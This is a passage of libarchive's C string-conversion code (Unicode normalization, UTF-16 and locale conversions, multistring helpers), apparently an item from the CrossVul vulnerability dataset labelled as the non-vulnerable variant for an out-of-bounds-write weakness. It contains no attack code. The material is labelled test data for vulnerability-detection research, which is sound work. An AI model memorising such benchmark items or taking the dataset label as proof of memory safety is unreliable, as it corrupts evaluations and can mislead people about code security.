REPLACE_UC_WITH_UC2() do { \ uc = uc2; \ ucptr = uc2ptr; \ n = n2; \ } while (0) #define EXPAND_BUFFER() do { \ as->length = p - as->s; \ if (archive_string_ensure(as, \ as->buffer_length + len * tm + ts) == NULL)\ return (-1); \ p = as->s + as->length; \ endp = as->s + as->buffer_length - ts; \ } while (0) #define UNPARSE(p, endp, uc) do { \ while ((w = unparse(p, (endp) - (p), uc)) == 0) {\ EXPAND_BUFFER(); \ } \ p += w; \ } while (0) /* * Write first code point. * If the code point has not be changed from its original code, * this just copies it from its original buffer pointer. * If not, this converts it to UTF-8 byte sequence and copies it. */ #define WRITE_UC() do { \ if (ucptr) { \ if (p + n > endp) \ EXPAND_BUFFER(); \ switch (n) { \ case 4: \ *p++ = *ucptr++; \ /* FALL THROUGH */ \ case 3: \ *p++ = *ucptr++; \ /* FALL THROUGH */ \ case 2: \ *p++ = *ucptr++; \ /* FALL THROUGH */ \ case 1: \ *p++ = *ucptr; \ break; \ } \ ucptr = NULL; \ } else { \ UNPARSE(p, endp, uc); \ } \ } while (0) /* * Collect following decomposable code points. */ #define COLLECT_CPS(start) do { \ int _i; \ for (_i = start; _i < FDC_MAX ; _i++) { \ nx = parse(&ucx[_i], s, len); \ if (nx <= 0) \ break; \ cx = CCC(ucx[_i]); \ if (cl >= cx && cl != 228 && cx != 228)\ break; \ s += nx; \ len -= nx; \ cl = cx; \ ccx[_i] = cx; \ } \ if (_i >= FDC_MAX) { \ ret = -1; \ ucx_size = FDC_MAX; \ } else \ ucx_size = _i; \ } while (0) /* * Normalize UTF-8/UTF-16BE characters to Form C and copy the result. * * TODO: Convert composition exclusions, which are never converted * from NFC,NFD,NFKC and NFKD, to Form C. */ static int archive_string_normalize_C(struct archive_string *as, const void *_p, size_t len, struct archive_string_conv *sc) { const char *s = (const char *)_p; char *p, *endp; uint32_t uc, uc2; size_t w; int always_replace, n, n2, ret = 0, spair, ts, tm; int (*parse)(uint32_t *, const char *, size_t); size_t (*unparse)(char *, size_t, uint32_t); always_replace = 1; ts = 1;/* text size. */ if (sc->flag & SCONV_TO_UTF16BE) { unparse = unicode_to_utf16be; ts = 2; if (sc->flag & SCONV_FROM_UTF16BE) always_replace = 0; } else if (sc->flag & SCONV_TO_UTF16LE) { unparse = unicode_to_utf16le; ts = 2; if (sc->flag & SCONV_FROM_UTF16LE) always_replace = 0; } else if (sc->flag & SCONV_TO_UTF8) { unparse = unicode_to_utf8; if (sc->flag & SCONV_FROM_UTF8) always_replace = 0; } else { /* * This case is going to be converted to another * character-set through iconv. */ always_replace = 0; if (sc->flag & SCONV_FROM_UTF16BE) { unparse = unicode_to_utf16be; ts = 2; } else if (sc->flag & SCONV_FROM_UTF16LE) { unparse = unicode_to_utf16le; ts = 2; } else { unparse = unicode_to_utf8; } } if (sc->flag & SCONV_FROM_UTF16BE) { parse = utf16be_to_unicode; tm = 1; spair = 4;/* surrogate pair size in UTF-16. */ } else if (sc->flag & SCONV_FROM_UTF16LE) { parse = utf16le_to_unicode; tm = 1; spair = 4;/* surrogate pair size in UTF-16. */ } else { parse = cesu8_to_unicode; tm = ts; spair = 6;/* surrogate pair size in UTF-8. */ } if (archive_string_ensure(as, as->length + len * tm + ts) == NULL) return (-1); p = as->s + as->length; endp = as->s + as->buffer_length - ts; while ((n = parse(&uc, s, len)) != 0) { const char *ucptr, *uc2ptr; if (n < 0) { /* Use a replaced unicode character. */ UNPARSE(p, endp, uc); s += n*-1; len -= n*-1; ret = -1; continue; } else if (n == spair || always_replace) /* uc is converted from a surrogate pair. * this should be treated as a changed code. */ ucptr = NULL; else ucptr = s; s += n; len -= n; /* Read second code point. */ while ((n2 = parse(&uc2, s, len)) > 0) { uint32_t ucx[FDC_MAX]; int ccx[FDC_MAX]; int cl, cx, i, nx, ucx_size; int LIndex,SIndex; uint32_t nfc; if (n2 == spair || always_replace) /* uc2 is converted from a surrogate pair. * this should be treated as a changed code. */ uc2ptr = NULL; else uc2ptr = s; s += n2; len -= n2; /* * If current second code point is out of decomposable * code points, finding compositions is unneeded. */ if (!IS_DECOMPOSABLE_BLOCK(uc2)) { WRITE_UC(); REPLACE_UC_WITH_UC2(); continue; } /* * Try to combine current code points. */ /* * We have to combine Hangul characters according to * http://uniicode.org/reports/tr15/#Hangul */ if (0 <= (LIndex = uc - HC_LBASE) && LIndex < HC_LCOUNT) { /* * Hangul Composition. * 1. Two current code points are L and V. */ int VIndex = uc2 - HC_VBASE; if (0 <= VIndex && VIndex < HC_VCOUNT) { /* Make syllable of form LV. */ UPDATE_UC(HC_SBASE + (LIndex * HC_VCOUNT + VIndex) * HC_TCOUNT); } else { WRITE_UC(); REPLACE_UC_WITH_UC2(); } continue; } else if (0 <= (SIndex = uc - HC_SBASE) && SIndex < HC_SCOUNT && (SIndex % HC_TCOUNT) == 0) { /* * Hangul Composition. * 2. Two current code points are LV and T. */ int TIndex = uc2 - HC_TBASE; if (0 < TIndex && TIndex < HC_TCOUNT) { /* Make syllable of form LVT. */ UPDATE_UC(uc + TIndex); } else { WRITE_UC(); REPLACE_UC_WITH_UC2(); } continue; } else if ((nfc = get_nfc(uc, uc2)) != 0) { /* A composition to current code points * is found. */ UPDATE_UC(nfc); continue; } else if ((cl = CCC(uc2)) == 0) { /* Clearly 'uc2' the second code point is not * a decomposable code. */ WRITE_UC(); REPLACE_UC_WITH_UC2(); continue; } /* * Collect following decomposable code points. */ cx = 0; ucx[0] = uc2; ccx[0] = cl; COLLECT_CPS(1); /* * Find a composed code in the collected code points. */ i = 1; while (i < ucx_size) { int j; if ((nfc = get_nfc(uc, ucx[i])) == 0) { i++; continue; } /* * nfc is composed of uc and ucx[i]. */ UPDATE_UC(nfc); /* * Remove ucx[i] by shifting * following code points. */ for (j = i; j+1 < ucx_size; j++) { ucx[j] = ucx[j+1]; ccx[j] = ccx[j+1]; } ucx_size --; /* * Collect following code points blocked * by ucx[i] the removed code point. */ if (ucx_size > 0 && i == ucx_size && nx > 0 && cx == cl) { cl = ccx[ucx_size-1]; COLLECT_CPS(ucx_size); } /* * Restart finding a composed code with * the updated uc from the top of the * collected code points. */ i = 0; } /* * Apparently the current code points are not * decomposed characters or already composed. */ WRITE_UC(); for (i = 0; i < ucx_size; i++) UNPARSE(p, endp, ucx[i]); /* * Flush out remaining canonical combining characters. */ if (nx > 0 && cx == cl && len > 0) { while ((nx = parse(&ucx[0], s, len)) > 0) { cx = CCC(ucx[0]); if (cl > cx) break; s += nx; len -= nx; cl = cx; UNPARSE(p, endp, ucx[0]); } } break; } if (n2 < 0) { WRITE_UC(); /* Use a replaced unicode character. */ UNPARSE(p, endp, uc2); s += n2*-1; len -= n2*-1; ret = -1; continue; } else if (n2 == 0) { WRITE_UC(); break; } } as->length = p - as->s; as->s[as->length] = '\0'; if (ts == 2) as->s[as->length+1] = '\0'; return (ret); } static int get_nfd(uint32_t *cp1, uint32_t *cp2, uint32_t uc) { int t, b; /* * These are not converted to NFD on Mac OS. */ if ((uc >= 0x2000 && uc <= 0x2FFF) || (uc >= 0xF900 && uc <= 0xFAFF) || (uc >= 0x2F800 && uc <= 0x2FAFF)) return (0); /* * Those code points are not converted to NFD on Mac OS. * I do not know the reason because it is undocumented. * NFC NFD * 1109A ==> 11099 110BA * 1109C ==> 1109B 110BA * 110AB ==> 110A5 110BA */ if (uc == 0x1109A || uc == 0x1109C || uc == 0x110AB) return (0); t = 0; b = sizeof(u_decomposition_table)/sizeof(u_decomposition_table[0]) -1; while (b >= t) { int m = (t + b) / 2; if (u_decomposition_table[m].nfc < uc) t = m + 1; else if (u_decomposition_table[m].nfc > uc) b = m - 1; else { *cp1 = u_decomposition_table[m].cp1; *cp2 = u_decomposition_table[m].cp2; return (1); } } return (0); } #define REPLACE_UC_WITH(cp) do { \ uc = cp; \ ucptr = NULL; \ } while (0) /* * Normalize UTF-8 characters to Form D and copy the result. */ static int archive_string_normalize_D(struct archive_string *as, const void *_p, size_t len, struct archive_string_conv *sc) { const char *s = (const char *)_p; char *p, *endp; uint32_t uc, uc2; size_t w; int always_replace, n, n2, ret = 0, spair, ts, tm; int (*parse)(uint32_t *, const char *, size_t); size_t (*unparse)(char *, size_t, uint32_t); always_replace = 1; ts = 1;/* text size. */ if (sc->flag & SCONV_TO_UTF16BE) { unparse = unicode_to_utf16be; ts = 2; if (sc->flag & SCONV_FROM_UTF16BE) always_replace = 0; } else if (sc->flag & SCONV_TO_UTF16LE) { unparse = unicode_to_utf16le; ts = 2; if (sc->flag & SCONV_FROM_UTF16LE) always_replace = 0; } else if (sc->flag & SCONV_TO_UTF8) { unparse = unicode_to_utf8; if (sc->flag & SCONV_FROM_UTF8) always_replace = 0; } else { /* * This case is going to be converted to another * character-set through iconv. */ always_replace = 0; if (sc->flag & SCONV_FROM_UTF16BE) { unparse = unicode_to_utf16be; ts = 2; } else if (sc->flag & SCONV_FROM_UTF16LE) { unparse = unicode_to_utf16le; ts = 2; } else { unparse = unicode_to_utf8; } } if (sc->flag & SCONV_FROM_UTF16BE) { parse = utf16be_to_unicode; tm = 1; spair = 4;/* surrogate pair size in UTF-16. */ } else if (sc->flag & SCONV_FROM_UTF16LE) { parse = utf16le_to_unicode; tm = 1; spair = 4;/* surrogate pair size in UTF-16. */ } else { parse = cesu8_to_unicode; tm = ts; spair = 6;/* surrogate pair size in UTF-8. */ } if (archive_string_ensure(as, as->length + len * tm + ts) == NULL) return (-1); p = as->s + as->length; endp = as->s + as->buffer_length - ts; while ((n = parse(&uc, s, len)) != 0) { const char *ucptr; uint32_t cp1, cp2; int SIndex; struct { uint32_t uc; int ccc; } fdc[FDC_MAX]; int fdi, fdj; int ccc; check_first_code: if (n < 0) { /* Use a replaced unicode character. */ UNPARSE(p, endp, uc); s += n*-1; len -= n*-1; ret = -1; continue; } else if (n == spair || always_replace) /* uc is converted from a surrogate pair. * this should be treated as a changed code. */ ucptr = NULL; else ucptr = s; s += n; len -= n; /* Hangul Decomposition. */ if ((SIndex = uc - HC_SBASE) >= 0 && SIndex < HC_SCOUNT) { int L = HC_LBASE + SIndex / HC_NCOUNT; int V = HC_VBASE + (SIndex % HC_NCOUNT) / HC_TCOUNT; int T = HC_TBASE + SIndex % HC_TCOUNT; REPLACE_UC_WITH(L); WRITE_UC(); REPLACE_UC_WITH(V); WRITE_UC(); if (T != HC_TBASE) { REPLACE_UC_WITH(T); WRITE_UC(); } continue; } if (IS_DECOMPOSABLE_BLOCK(uc) && CCC(uc) != 0) { WRITE_UC(); continue; } fdi = 0; while (get_nfd(&cp1, &cp2, uc) && fdi < FDC_MAX) { int k; for (k = fdi; k > 0; k--) fdc[k] = fdc[k-1]; fdc[0].ccc = CCC(cp2); fdc[0].uc = cp2; fdi++; REPLACE_UC_WITH(cp1); } /* Read following code points. */ while ((n2 = parse(&uc2, s, len)) > 0 && (ccc = CCC(uc2)) != 0 && fdi < FDC_MAX) { int j, k; s += n2; len -= n2; for (j = 0; j < fdi; j++) { if (fdc[j].ccc > ccc) break; } if (j < fdi) { for (k = fdi; k > j; k--) fdc[k] = fdc[k-1]; fdc[j].ccc = ccc; fdc[j].uc = uc2; } else { fdc[fdi].ccc = ccc; fdc[fdi].uc = uc2; } fdi++; } WRITE_UC(); for (fdj = 0; fdj < fdi; fdj++) { REPLACE_UC_WITH(fdc[fdj].uc); WRITE_UC(); } if (n2 == 0) break; REPLACE_UC_WITH(uc2); n = n2; goto check_first_code; } as->length = p - as->s; as->s[as->length] = '\0'; if (ts == 2) as->s[as->length+1] = '\0'; return (ret); } /* * libarchive 2.x made incorrect UTF-8 strings in the wrong assumption * that WCS is Unicode. It is true for several platforms but some are false. * And then people who did not use UTF-8 locale on the non Unicode WCS * platform and made a tar file with libarchive(mostly bsdtar) 2.x. Those * now cannot get right filename from libarchive 3.x and later since we * fixed the wrong assumption and it is incompatible to older its versions. * So we provide special option, "compat-2x.x", for resolving it. * That option enable the string conversion of libarchive 2.x. * * Translates the wrong UTF-8 string made by libarchive 2.x into current * locale character set and appends to the archive_string. * Note: returns -1 if conversion fails. */ static int strncat_from_utf8_libarchive2(struct archive_string *as, const void *_p, size_t len, struct archive_string_conv *sc) { const char *s; int n; char *p; char *end; uint32_t unicode; #if HAVE_WCRTOMB mbstate_t shift_state; memset(&shift_state, 0, sizeof(shift_state)); #else /* Clear the shift state before starting. */ wctomb(NULL, L'\0'); #endif (void)sc; /* UNUSED */ /* * Allocate buffer for MBS. * We need this allocation here since it is possible that * as->s is still NULL. */ if (archive_string_ensure(as, as->length + len + 1) == NULL) return (-1); s = (const char *)_p; p = as->s + as->length; end = as->s + as->buffer_length - MB_CUR_MAX -1; while ((n = _utf8_to_unicode(&unicode, s, len)) != 0) { wchar_t wc; if (p >= end) { as->length = p - as->s; /* Re-allocate buffer for MBS. */ if (archive_string_ensure(as, as->length + max(len * 2, (size_t)MB_CUR_MAX) + 1) == NULL) return (-1); p = as->s + as->length; end = as->s + as->buffer_length - MB_CUR_MAX -1; } /* * As libarchive 2.x, translates the UTF-8 characters into * wide-characters in the assumption that WCS is Unicode. */ if (n < 0) { n *= -1; wc = L'?'; } else wc = (wchar_t)unicode; s += n; len -= n; /* * Translates the wide-character into the current locale MBS. */ #if HAVE_WCRTOMB n = (int)wcrtomb(p, wc, &shift_state); #else n = (int)wctomb(p, wc); #endif if (n == -1) return (-1); p += n; } as->length = p - as->s; as->s[as->length] = '\0'; return (0); } /* * Conversion functions between current locale dependent MBS and UTF-16BE. * strncat_from_utf16be() : UTF-16BE --> MBS * strncat_to_utf16be() : MBS --> UTF16BE */ #if defined(_WIN32) && !defined(__CYGWIN__) /* * Convert a UTF-16BE/LE string to current locale and copy the result. * Return -1 if conversion fails. */ static int win_strncat_from_utf16(struct archive_string *as, const void *_p, size_t bytes, struct archive_string_conv *sc, int be) { struct archive_string tmp; const char *u16; int ll; BOOL defchar; char *mbs; size_t mbs_size, b; int ret = 0; bytes &= ~1; if (archive_string_ensure(as, as->length + bytes +1) == NULL) return (-1); mbs = as->s + as->length; mbs_size = as->buffer_length - as->length -1; if (sc->to_cp == CP_C_LOCALE) { /* * "C" locale special process. */ u16 = _p; ll = 0; for (b = 0; b < bytes; b += 2) { uint16_t val; if (be) val = archive_be16dec(u16+b); else val = archive_le16dec(u16+b); if (val > 255) { *mbs++ = '?'; ret = -1; } else *mbs++ = (char)(val&0xff); ll++; } as->length += ll; as->s[as->length] = '\0'; return (ret); } archive_string_init(&tmp); if (be) { if (is_big_endian()) { u16 = _p; } else { if (archive_string_ensure(&tmp, bytes+2) == NULL) return (-1); memcpy(tmp.s, _p, bytes); for (b = 0; b < bytes; b += 2) { uint16_t val = archive_be16dec(tmp.s+b); archive_le16enc(tmp.s+b, val); } u16 = tmp.s; } } else { if (!is_big_endian()) { u16 = _p; } else { if (archive_string_ensure(&tmp, bytes+2) == NULL) return (-1); memcpy(tmp.s, _p, bytes); for (b = 0; b < bytes; b += 2) { uint16_t val = archive_le16dec(tmp.s+b); archive_be16enc(tmp.s+b, val); } u16 = tmp.s; } } do { defchar = 0; ll = WideCharToMultiByte(sc->to_cp, 0, (LPCWSTR)u16, (int)bytes>>1, mbs, (int)mbs_size, NULL, &defchar); /* Exit loop if we succeeded */ if (ll != 0 || GetLastError() != ERROR_INSUFFICIENT_BUFFER) { break; } /* Else expand buffer and loop to try again. */ ll = WideCharToMultiByte(sc->to_cp, 0, (LPCWSTR)u16, (int)bytes, NULL, 0, NULL, NULL); if (archive_string_ensure(as, ll +1) == NULL) return (-1); mbs = as->s + as->length; mbs_size = as->buffer_length - as->length -1; } while (1); archive_string_free(&tmp); as->length += ll; as->s[as->length] = '\0'; if (ll == 0 || defchar) ret = -1; return (ret); } static int win_strncat_from_utf16be(struct archive_string *as, const void *_p, size_t bytes, struct archive_string_conv *sc) { return (win_strncat_from_utf16(as, _p, bytes, sc, 1)); } static int win_strncat_from_utf16le(struct archive_string *as, const void *_p, size_t bytes, struct archive_string_conv *sc) { return (win_strncat_from_utf16(as, _p, bytes, sc, 0)); } static int is_big_endian(void) { uint16_t d = 1; return (archive_be16dec(&d) == 1); } /* * Convert a current locale string to UTF-16BE/LE and copy the result. * Return -1 if conversion fails. */ static int win_strncat_to_utf16(struct archive_string *as16, const void *_p, size_t length, struct archive_string_conv *sc, int bigendian) { const char *s = (const char *)_p; char *u16; size_t count, avail; if (archive_string_ensure(as16, as16->length + (length + 1) * 2) == NULL) return (-1); u16 = as16->s + as16->length; avail = as16->buffer_length - 2; if (sc->from_cp == CP_C_LOCALE) { /* * "C" locale special process. */ count = 0; while (count < length && *s) { if (bigendian) archive_be16enc(u16, *s); else archive_le16enc(u16, *s); u16 += 2; s++; count++; } as16->length += count << 1; as16->s[as16->length] = 0; as16->s[as16->length+1] = 0; return (0); } do { count = MultiByteToWideChar(sc->from_cp, MB_PRECOMPOSED, s, (int)length, (LPWSTR)u16, (int)avail>>1); /* Exit loop if we succeeded */ if (count != 0 || GetLastError() != ERROR_INSUFFICIENT_BUFFER) { break; } /* Expand buffer and try again */ count = MultiByteToWideChar(sc->from_cp, MB_PRECOMPOSED, s, (int)length, NULL, 0); if (archive_string_ensure(as16, (count +1) * 2) == NULL) return (-1); u16 = as16->s + as16->length; avail = as16->buffer_length - 2; } while (1); as16->length += count * 2; as16->s[as16->length] = 0; as16->s[as16->length+1] = 0; if (count == 0) return (-1); if (is_big_endian()) { if (!bigendian) { while (count > 0) { uint16_t v = archive_be16dec(u16); archive_le16enc(u16, v); u16 += 2; count--; } } } else { if (bigendian) { while (count > 0) { uint16_t v = archive_le16dec(u16); archive_be16enc(u16, v); u16 += 2; count--; } } } return (0); } static int win_strncat_to_utf16be(struct archive_string *as16, const void *_p, size_t length, struct archive_string_conv *sc) { return (win_strncat_to_utf16(as16, _p, length, sc, 1)); } static int win_strncat_to_utf16le(struct archive_string *as16, const void *_p, size_t length, struct archive_string_conv *sc) { return (win_strncat_to_utf16(as16, _p, length, sc, 0)); } #endif /* _WIN32 && !__CYGWIN__ */ /* * Do the best effort for conversions. * We cannot handle UTF-16BE character-set without such iconv, * but there is a chance if a string consists just ASCII code or * a current locale is UTF-8. */ /* * Convert a UTF-16BE string to current locale and copy the result. * Return -1 if conversion fails. */ static int best_effort_strncat_from_utf16(struct archive_string *as, const void *_p, size_t bytes, struct archive_string_conv *sc, int be) { const char *utf16 = (const char *)_p; char *mbs; uint32_t uc; int n, ret; (void)sc; /* UNUSED */ /* * Other case, we should do the best effort. * If all character are ASCII(<0x7f), we can convert it. * if not , we set a alternative character and return -1. */ ret = 0; if (archive_string_ensure(as, as->length + bytes +1) == NULL) return (-1); mbs = as->s + as->length; while ((n = utf16_to_unicode(&uc, utf16, bytes, be)) != 0) { if (n < 0) { n *= -1; ret = -1; } bytes -= n; utf16 += n; if (uc > 127) { /* We cannot handle it. */ *mbs++ = '?'; ret = -1; } else *mbs++ = (char)uc; } as->length = mbs - as->s; as->s[as->length] = '\0'; return (ret); } static int best_effort_strncat_from_utf16be(struct archive_string *as, const void *_p, size_t bytes, struct archive_string_conv *sc) { return (best_effort_strncat_from_utf16(as, _p, bytes, sc, 1)); } static int best_effort_strncat_from_utf16le(struct archive_string *as, const void *_p, size_t bytes, struct archive_string_conv *sc) { return (best_effort_strncat_from_utf16(as, _p, bytes, sc, 0)); } /* * Convert a current locale string to UTF-16BE/LE and copy the result. * Return -1 if conversion fails. */ static int best_effort_strncat_to_utf16(struct archive_string *as16, const void *_p, size_t length, struct archive_string_conv *sc, int bigendian) { const char *s = (const char *)_p; char *utf16; size_t remaining; int ret; (void)sc; /* UNUSED */ /* * Other case, we should do the best effort. * If all character are ASCII(<0x7f), we can convert it. * if not , we set a alternative character and return -1. */ ret = 0; remaining = length; if (archive_string_ensure(as16, as16->length + (length + 1) * 2) == NULL) return (-1); utf16 = as16->s + as16->length; while (remaining--) { unsigned c = *s++; if (c > 127) { /* We cannot handle it. */ c = UNICODE_R_CHAR; ret = -1; } if (bigendian) archive_be16enc(utf16, c); else archive_le16enc(utf16, c); utf16 += 2; } as16->length = utf16 - as16->s; as16->s[as16->length] = 0; as16->s[as16->length+1] = 0; return (ret); } static int best_effort_strncat_to_utf16be(struct archive_string *as16, const void *_p, size_t length, struct archive_string_conv *sc) { return (best_effort_strncat_to_utf16(as16, _p, length, sc, 1)); } static int best_effort_strncat_to_utf16le(struct archive_string *as16, const void *_p, size_t length, struct archive_string_conv *sc) { return (best_effort_strncat_to_utf16(as16, _p, length, sc, 0)); } /* * Multistring operations. */ void archive_mstring_clean(struct archive_mstring *aes) { archive_wstring_free(&(aes->aes_wcs)); archive_string_free(&(aes->aes_mbs)); archive_string_free(&(aes->aes_utf8)); archive_string_free(&(aes->aes_mbs_in_locale)); aes->aes_set = 0; } void archive_mstring_copy(struct archive_mstring *dest, struct archive_mstring *src) { dest->aes_set = src->aes_set; archive_string_copy(&(dest->aes_mbs), &(src->aes_mbs)); archive_string_copy(&(dest->aes_utf8), &(src->aes_utf8)); archive_wstring_copy(&(dest->aes_wcs), &(src->aes_wcs)); } int archive_mstring_get_utf8(struct archive *a, struct archive_mstring *aes, const char **p) { struct archive_string_conv *sc; int r; /* If we already have a UTF8 form, return that immediately. */ if (aes->aes_set & AES_SET_UTF8) { *p = aes->aes_utf8.s; return (0); } *p = NULL; if (aes->aes_set & AES_SET_MBS) { sc = archive_string_conversion_to_charset(a, "UTF-8", 1); if (sc == NULL) return (-1);/* Couldn't allocate memory for sc. */ r = archive_strncpy_l(&(aes->aes_utf8), aes->aes_mbs.s, aes->aes_mbs.length, sc); if (a == NULL) free_sconv_object(sc); if (r == 0) { aes->aes_set |= AES_SET_UTF8; *p = aes->aes_utf8.s; return (0);/* success. */ } else return (-1);/* failure. */ } return (0);/* success. */ } int archive_mstring_get_mbs(struct archive *a, struct archive_mstring *aes, const char **p) { int r, ret = 0; (void)a; /* UNUSED */ /* If we already have an MBS form, return that immediately. */ if (aes->aes_set & AES_SET_MBS) { *p = aes->aes_mbs.s; return (ret); } *p = NULL; /* If there's a WCS form, try converting with the native locale. */ if (aes->aes_set & AES_SET_WCS) { archive_string_empty(&(aes->aes_mbs)); r = archive_string_append_from_wcs(&(aes->aes_mbs), aes->aes_wcs.s, aes->aes_wcs.length); *p = aes->aes_mbs.s; if (r == 0) { aes->aes_set |= AES_SET_MBS; return (ret); } else ret = -1; } /* * Only a UTF-8 form cannot avail because its conversion already * failed at archive_mstring_update_utf8(). */ return (ret); } int archive_mstring_get_wcs(struct archive *a, struct archive_mstring *aes, const wchar_t **wp) { int r, ret = 0; (void)a;/* UNUSED */ /* Return WCS form if we already have it. */ if (aes->aes_set & AES_SET_WCS) { *wp = aes->aes_wcs.s; return (ret); } *wp = NULL; /* Try converting MBS to WCS using native locale. */ if (aes->aes_set & AES_SET_MBS) { archive_wstring_empty(&(aes->aes_wcs)); r = archive_wstring_append_from_mbs(&(aes->aes_wcs), aes->aes_mbs.s, aes->aes_mbs.length); if (r == 0) { aes->aes_set |= AES_SET_WCS; *wp = aes->aes_wcs.s; } else ret = -1;/* failure. */ } return (ret); } int archive_mstring_get_mbs_l(struct archive_mstring *aes, const char **p, size_t *length, struct archive_string_conv *sc) { int r, ret = 0; #if defined(_WIN32) && !defined(__CYGWIN__) /* * Internationalization programming on Windows must use Wide * characters because Windows platform cannot make locale UTF-8. */ if (sc != NULL && (aes->aes_set & AES_SET_WCS) != 0) { archive_string_empty(&(aes->aes_mbs_in_locale)); r = archive_string_append_from_wcs_in_codepage( &(aes->aes_mbs_in_locale), aes->aes_wcs.s, aes->aes_wcs.length, sc); if (r == 0) { *p = aes->aes_mbs_in_locale.s; if (length != NULL) *length = aes->aes_mbs_in_locale.length; return (0); } else if (errno == ENOMEM) return (-1); else ret = -1; } #endif /* If there is not an MBS form but is a WCS form, try converting * with the native locale to be used for translating it to specified * character-set. */ if ((aes->aes_set & AES_SET_MBS) == 0 && (aes->aes_set & AES_SET_WCS) != 0) { archive_string_empty(&(aes->aes_mbs)); r = archive_string_append_from_wcs(&(aes->aes_mbs), aes->aes_wcs.s, aes->aes_wcs.length); if (r == 0) aes->aes_set |= AES_SET_MBS; else if (errno == ENOMEM) return (-1); else ret = -1; } /* If we already have an MBS form, use it to be translated to * specified character-set. */ if (aes->aes_set & AES_SET_MBS) { if (sc == NULL) { /* Conversion is unneeded. */ *p = aes->aes_mbs.s; if (length != NULL) *length = aes->aes_mbs.length; return (0); } ret = archive_strncpy_l(&(aes->aes_mbs_in_locale), aes->aes_mbs.s, aes->aes_mbs.length, sc); *p = aes->aes_mbs_in_locale.s; if (length != NULL) *length = aes->aes_mbs_in_locale.length; } else { *p = NULL; if (length != NULL) *length = 0; } return (ret); } int archive_mstring_copy_mbs(struct archive_mstring *aes, const char *mbs) { if (mbs == NULL) { aes->aes_set = 0; return (0); } return (archive_mstring_copy_mbs_len(aes, mbs, strlen(mbs))); } int archive_mstring_copy_mbs_len(struct archive_mstring *aes, const char *mbs, size_t len) { if (mbs == NULL) { aes->aes_set = 0; return (0); } aes->aes_set = AES_SET_MBS; /* Only MBS form is set now. */ archive_strncpy(&(aes->aes_mbs), mbs, len); archive_string_empty(&(aes->aes_utf8)); archive_wstring_empty(&(aes->aes_wcs)); return (0); } int archive_mstring_copy_wcs(struct archive_mstring *aes, const wchar_t *wcs) { return archive_mstring_copy_wcs_len(aes, wcs, wcs == NULL ? 0 : wcslen(wcs)); } int archive_mstring_copy_utf8(struct archive_mstring *aes, const char *utf8) { if (utf8 == NULL) { aes->aes_set = 0; return (0); } aes->aes_set = AES_SET_UTF8; archive_string_empty(&(aes->aes_mbs)); archive_string_empty(&(aes->aes_wcs)); archive_strncpy(&(aes->aes_utf8), utf8, strlen(utf8)); return (int)strlen(utf8); } int archive_mstring_copy_wcs_len(struct archive_mstring *aes, const wchar_t *wcs, size_t len) { if (wcs == NULL) { aes->aes_set = 0; return (0); } aes->aes_set = AES_SET_WCS; /* Only WCS form set. */ archive_string_empty(&(aes->aes_mbs)); archive_string_empty(&(aes->aes_utf8)); archive_wstrncpy(&(aes->aes_wcs), wcs, len); return (0); } int archive_mstring_copy_mbs_len_l(struct archive_mstring *aes, const char *mbs, size_t len, struct archive_string_conv *sc) { int r; if (mbs == NULL) { aes->aes_set = 0; return (0); } archive_string_empty(&(aes->aes_mbs)); archive_wstring_empty(&(aes->aes_wcs)); archive_string_empty(&(aes->aes_utf8)); #if defined(_WIN32) && !defined(__CYGWIN__) /* * Internationalization programming on Windows must use Wide * characters because Windows platform cannot make locale UTF-8. */ if (sc == NULL) { if (archive_string_append(&(aes->aes_mbs), mbs, mbsnbytes(mbs, len)) == NULL) { aes->aes_set = 0; r = -1; } else { aes->aes_set = AES_SET_MBS; r = 0; } #if defined(HAVE_ICONV) } else if (sc != NULL && sc->cd_w != (iconv_t)-1) { /* * This case happens only when MultiByteToWideChar() cannot * handle sc->from_cp, and we have to iconv in order to * translate character-set to wchar_t,UTF-16. */ iconv_t cd = sc->cd; unsigned from_cp; int flag; /* * Translate multi-bytes from some character-set to UTF-8. */ sc->cd = sc->cd_w; r = archive_strncpy_l(&(aes->aes_utf8), mbs, len, sc); sc->cd = cd; if (r != 0) { aes->aes_set = 0; return (r); } aes->aes_set = AES_SET_UTF8; /* * Append the UTF-8 string into wstring. */ flag = sc->flag; sc->flag &= ~(SCONV_NORMALIZATION_C | SCONV_TO_UTF16| SCONV_FROM_UTF16); from_cp = sc->from_cp; sc->from_cp = CP_UTF8; r = archive_wstring_append_from_mbs_in_codepage(&(aes->aes_wcs), aes->aes_utf8.s, aes->aes_utf8.length, sc); sc->flag = flag; sc->from_cp = from_cp; if (r == 0) aes->aes_set |= AES_SET_WCS; #endif } else { r = archive_wstring_append_from_mbs_in_codepage( &(aes->aes_wcs), mbs, len, sc); if (r == 0) aes->aes_set = AES_SET_WCS; else aes->aes_set = 0; } #else r = archive_strncpy_l(&(aes->aes_mbs), mbs, len, sc); if (r == 0) aes->aes_set = AES_SET_MBS; /* Only MBS form is set now. */ else aes->aes_set = 0; #endif return (r); } /* * The 'update' form tries to proactively update all forms of * this string (WCS and MBS) and returns an error if any of * them fail. This is used by the 'pax' handler, for instance, * to detect and report character-conversion failures early while * still allowing clients to get potentially useful values from * the more tolerant lazy conversions. (get_mbs and get_wcs will * strive to give the user something useful, so you can get hopefully * usable values even if some of the character conversions are failing.) */ int archive_mstring_update_utf8(struct archive *a, struct archive_mstring *aes, const char *utf8) { struct archive_string_conv *sc; int r; if (utf8 == NULL) { aes->aes_set = 0; return (0); /* Succeeded in clearing everything. */ } /* Save the UTF8 string. */ archive_strcpy(&(aes->aes_utf8), utf8); /* Empty the mbs and wcs strings. */ archive_string_empty(&(aes->aes_mbs)); archive_wstring_empty(&(aes->aes_wcs)); aes->aes_set = AES_SET_UTF8; /* Only UTF8 is set now. */ /* Try converting UTF-8 to MBS, return false on failure. */ sc = archive_string_conversion_from_charset(a, "UTF-8", 1); if (sc == NULL) return (-1);/* Couldn't allocate memory for sc. */ r = archive_strcpy_l(&(aes->aes_mbs), utf8, sc); if (a == NULL) free_sconv_object(sc); if (r != 0) return (-1); aes->aes_set = AES_SET_UTF8 | AES_SET_MBS; /* Both UTF8 and MBS set. */ /* Try converting MBS to WCS, return false on failure. */ if (archive_wstring_append_from_mbs(&(aes->aes_wcs), aes->aes_mbs.s, aes->aes_mbs.length)) return (-1); aes->aes_set = AES_SET_UTF8 | AES_SET_WCS | AES_SET_MBS; /* All conversions succeeded. */ return (0); }
./CrossVul/dataset_final_sorted/CWE-787/c/good_4265_0
crossvul-cpp_data_good_3296_0
